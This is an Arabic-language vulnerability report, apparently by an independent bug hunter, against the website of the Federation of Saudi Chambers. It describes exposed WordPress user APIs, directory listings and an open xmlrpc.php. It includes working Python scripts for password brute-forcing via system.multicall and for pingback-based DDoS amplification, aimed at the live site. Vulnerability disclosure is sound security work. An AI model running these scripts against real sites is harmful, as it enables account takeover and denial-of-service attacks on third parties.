تقرير ثغرة أمنية

ثغرة في خدمة XML-RPC بموقع اتحاد الغرف السعودية تؤدي إلى هجوم Brute Force وهجوم DDoS Amplification.
و ثغرات Broken Access Control
الجهة المستهدفة اتحاد الغرف السعودية
الموقع https://fsc.org.sa
المبلغ صائد الثغرات الأخلاقي
البريد الإلكتروني security@researcher.com
تاريخ الإبلاغ

ثغرات
Broken Access Control

ملخص الثغرة

تم اكتشاف عدة مسارات واجهات برمجة تطبيقات (APIs) ومجلدات حساسة مكشوفة في الموقع، تسمح بتسريب معلومات حساسة دون الحاجة إلى مصادقة، مما يمثل خطورة أمنية عالية.

خطورة عالية (CVSS: 7.5)

التفاصيل الفنية

تسريب بيانات المستخدمين

https://fsc.org.sa/wp-json/wp/v2/users

https://fsc.org.sa/wp-json/wp/v2/users/[1-25]

تسريب قائمة المستخدمين المسجلين في النظام

User Data Exposure
تسريب بيانات المستخدمين

نتيجة استدعاء واجهة المستخدمين بدون مصادقة - لاحظ تسريب البيانات الحساسة

واجهات إضافة Jetpack المكشوفة علي:-
1- APIs
2- Directory Listing
3- مسار wp-content/languages

https://fsc.org.sa/wp-json/jetpack/v4/connection

https://fsc.org.sa/wp-content/plugins/jetpack/

https://fsc.org.sa/wp-content/languages/plugins/

كشف معلومات تكوين وإعدادات Jetpack

إمكانية استغلال نقاط النهاية لتنفيذ عمليات خبيثة

كشف معلومات النظام

https://fsc.org.sa/info.php

https://fsc.org.sa/readme.html

https://fsc.org.sa/wp-admin/install.php

كشف معلومات مفصلة عن بيئة الخادم

تسريب إصدار ووردبريس المستخدم

ثغرة
Directory Listing

https://fsc.org.sa/wp-content/languages/

https://fsc.org.sa/wp-content/themes/twentytwentyfour/

كشف ملفات الترجمة الحساسة

الوصول إلى ملفات النظام الداخلية

تقييم المخاطر

تسريب المعلومات

جميع المسارات المذكورة تسمح للمهاجم بجمع معلومات حساسة عن النظام والبنية التحتية، مما يمهد لهجمات أكثر تطوراً.

استغلال الثغرات المعروفة

كشف إصدارات المكونات المختلفة يسمح للمهاجم باستغلال الثغرات الأمنية المعروفة في هذه الإصدارات.

ملخص الثغرة
[ملف xmlrpc.php]

ملف xmlrpc.php شغال على نطاق الموقع الرسمي لاتحاد الغرف التجارية السعودية، ويقبل طلبات
system.multicall
pingback.ping system.listMethods
بدون تحقق كافٍ. هذا يسمح للمهاجمين بتنفيذ:

  • التعرف على دوال حساسة لإدارة المحتوى مثل: إضافة/تعديل/حذف المقالات والصفحات، إدارة التعليقات والوسائط، إدارة المستخدمين، الإعدادات والتصنيفات.
  • هجمات تخمين كلمات المرور على حسابات ووردبريس (Brute Force) بكفاءة عالية
  • هجمات تضخيم DDoS لاستهداف مواقع خارجية باستخدام موارد خادم اتحاد الغرف
خطورة عالية (CVSS: 8.6)

تفاصيل تقنية

المسار المتأثر

https://fsc.org.sa/xmlrpc.php

طرق الاستغلال المكتشفة

1. system.listMethods

كشف جميع الدوال المتاحة على الخادم، بما في ذلك دوال WordPress الحساسة مثل إدارة المقالات، الصفحات، التعليقات، الوسائط، والمستخدمين.

2. system.multicall

يمكن استغلالها لتنفيذ محاولات تسجيل دخول متعددة في طلب واحد، مما يزيد سرعة وكفاءة هجمات Brute Force.

3. pingback.ping

يمكن استغلالها لإرسال طلبات HTTP إلى أهداف خارجية، مما يحول الخادم إلى أداة في هجمات DDoS Amplification.

خطوات إعادة الإنتاج (PoC)

عبر system.listMethods

                            curl -X POST https://fsc.org.sa/xmlrpc.php -d 'system.listMethods' -H "Content-Type: text/xml"
                        

نتيجة تنفيذ الكود

نتيجة هجوم Brute Force
Brute Force عبر system.multicall
import xmlrpc.client

url = "https://fsc.org.sa/xmlrpc.php"
username = "example-user"
passwords = ["pass1", "pass2", "pass3", "pass4"]

client = xmlrpc.client.ServerProxy(url)
multicall_data = [{
    'methodName': 'wp.getUsersBlogs', 
    'params': [username, pw]
} for pw in passwords]

try:
    response = client.system.multicall(multicall_data)
    for i, result in enumerate(response):
        if isinstance(result, dict) and 'faultCode' in result:
            print(f"كلمة المرور {passwords[i]} فشلت")
        else:
            print(f"كلمة المرور {passwords[i]} نجحت!")
            break
except Exception as e:
    print(f"حدث خطأ: {str(e)}")

نتيجة تنفيذ الكود

نتيجة هجوم Brute Force
استغلال pingback.ping لهجوم DDoS
import requests
import time

target_url = "http://example-victim.com"  # استبدال بالهدف المطلوب
xmlrpc_url = "https://fsc.org.sa/xmlrpc.php"

payload = f'''

   pingback.ping
   
      https://fsc.org.sa
      {target_url}
   
'''

headers = {'Content-Type': 'text/xml'}

# إرسال الطلبات بشكل متكرر
for i in range(1, 6):  # 5 محاولات كتجربة
    try:
        response = requests.post(xmlrpc_url, data=payload, headers=headers, timeout=10)
        print(f"المحاولة {i}: حالة الاستجابة {response.status_code}")
        time.sleep(0.5)  # تأخير قصير بين الطلبات
    except Exception as e:
        print(f"فشل في المحاولة {i}: {str(e)}")

نتيجة تنفيذ الكود

نتيجة هجوم DDoS

تقييم المخاطر

تقييم المخاطر: عالي جدًا (CVSS: 8.6)

ملاحظات إضافية

  • لقد قمت بإجراء الاختبار بدون إلحاق أي ضرر
  • أنا أستخدم الهاتف في عملية صيد الثغراة
    و هذأ بعد خبرة متواضعة في فهم الثغراة ، بعيدا عن أدوات و برامج الأتمتة ●
    الخلاصة: تم الاعتماد علي الفحص اليدوي و الاسكربتات البسيطة التي تساعدني في الفحص اليدوي ، المعني: هي لا ترسل طلبات كثيرة للخادم او تسبب ضغط
  • الثغرة ممكن أي هكر يريد إلحاق ضرر للبنية التحتية للمملكة يستغلها، ولا تتطلب أي صلاحيات دخول
  • تاريخ الاكتشاف: ١٠ أغسطس ٢٠٢٥
  • تم الإبلاغ خلال ٢٤ ساعة من الاكتشاف
  • جميع الاختبارات تمت ضمن الإطار القانوني والأخلاقي

إخلاء المسؤولية

هذأ التقرير يهدف الي تحسين أمان المؤسسات السعودية، ولم أقوم بإستغلال الثغرات لأي أغراض ضارة. جميع المعلومات التي قدمتها لكم ستظل سرية و لن أقوم بمشاركتها مع أي أطراف أخرى.


🗂️لقد قمت بدراسة المواد القانوينية و منها قوانين الجرائم المعلوماتية.
⚖️المادة 3: هي تجرم الدخول غير المصرح به للمواقع الإلكترونية أو اختراقها.
🛂العقوبة لمرتكبها: سجن و غرامة مالية.
📌الأختبار الذي قمت به ، لم يتم فيه الدخول أو أختراق الموقع.
⚖️المادة 5 تعاقب من يتسبب بتوقف الخدمات أو تعديل أو تعطيل البيانات .
🛂العقوبة لمرتكبها: سجن يصل الي 4 سنوات و غرامة مالية كبيرة.
📌الأختبار الذي قمت به ، لم يتسبب بوقوف أي خدمة أو تعديل البيانات
في حالتي هذه أنا أود الاستفادة من ⚖️المادة 11 التي تقضي بالعفو عن المخالف إذا أبلغ الجهة المختصة قبل وقوع الضرر.
📌أنا أسير وفق القانون علي نهج المادة 11
🇸🇦🛡️و أقوم بتوجيه بلاغي الي المنصة الوطنية - للإبلاغ عن الثغرات الامنية
☑️وأختم بالقول:-
أنا أتفهم تمامًا حساسية الموضوع وأؤكد أن نيتي هي حماية ومنع أي استغلال. أرجو أخذ هذا البلاغ بعين الاعتبار
مع العلم أنني سأقدم 🪪هويتي أذا طلب مني ذالك ، في حال سير الامور بمنتهي الإجابية.
💎ولقد حاولت كثيرا الإنضمام لبرنامج BugBounty من SAFCSP
ليكون لدي تعامل رسمي مع الاتحاد السعودي للأمن السيبراني.
🛡️إذا نجح التعاون سأقدم خدمات أكثر في مؤسسات كبيرة في المملكة العربية السعودية إن شاء الله.

تم إعداد هذا التقرير بواسطة صائد الثغرات الأخلاقي

© 2025 - جميع الحقوق محفوظة | الإصدار 1.0